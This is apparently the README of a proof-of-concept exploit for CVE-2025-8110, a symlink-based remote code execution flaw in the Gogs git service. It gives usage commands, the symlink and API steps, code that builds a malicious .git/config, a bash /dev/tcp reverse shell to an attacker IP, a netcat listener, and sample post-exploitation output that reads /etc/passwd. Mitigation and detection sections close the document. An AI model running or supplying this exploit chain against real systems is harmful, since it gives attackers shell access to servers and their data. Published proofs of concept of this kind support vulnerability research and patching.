
PoC exploit for CVE-2025-8110
CVE-2025-8110 is a critical vulnerability in Gogs that allows authenticated attackers to achieve remote code execution through repository symlink manipulation. This proof of concept demonstrates the complete exploitation chain, from authentication to reverse shell acquisition.
The vulnerability exists because Gogs follows symlinks when handling repository files through its API, allowing an attacker to read and modify sensitive files like .git/config. By injecting a malicious sshCommand directive, arbitrary system commands can be executed with the privileges of the Gogs service account.
CVSS Score: 7.2 (High)
Attack Vector: Network
Authentication Required: Yes
User Interaction: None
Impact: Complete system compromise
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Main exploit script
├── requirements.txt # Python dependencies
└── README.md # Documentation
| Option | Description | Required |
|---|---|---|
-u, --url | Gogs base URL (e.g., https://gogs.example.com) | Yes |
-lh, --host | Attacker IP address for reverse shell | Yes |
-lp, --port | Attacker port for reverse shell | Yes |
-U, --username | Gogs username | Yes |
-P, --password | Gogs password | Yes |
-x, --proxy | Enable proxy (localhost:8080) | No |
-v, --verbose | Enable verbose output | No |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session
Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response
Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL
Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload
Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution
Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target
Gogs fails to properly sanitize symlink traversal when handling repository files through its API. When a file is accessed via the API endpoint, Gogs follows symlinks without validation, allowing access to sensitive files outside the repository directory.
Symlink Creation
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Malicious Configuration
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API Exploitation
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
To check your Gogs version:
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version
Update Gogs
# Backup existing installation
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# Download and install latest version
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
Disable Symlink Support
# In custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
Implement Input Validation
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
Repository Activity
API Activity
/api/v1/repos/*/contents/*.git/config via APISystem Indicators
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l
# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/
# Monitor for outbound connections
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
This vulnerability was discovered and responsibly disclosed to the Gogs development team. The vendor has released a patch in version 0.12.6.
This tool is provided for educational and authorized security testing purposes only. Users must:
The author assumes no responsibility for misuse or damage caused by this tool.
MIT License
Copyright (c) 2025 oguiii
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Made with dedication by oguiii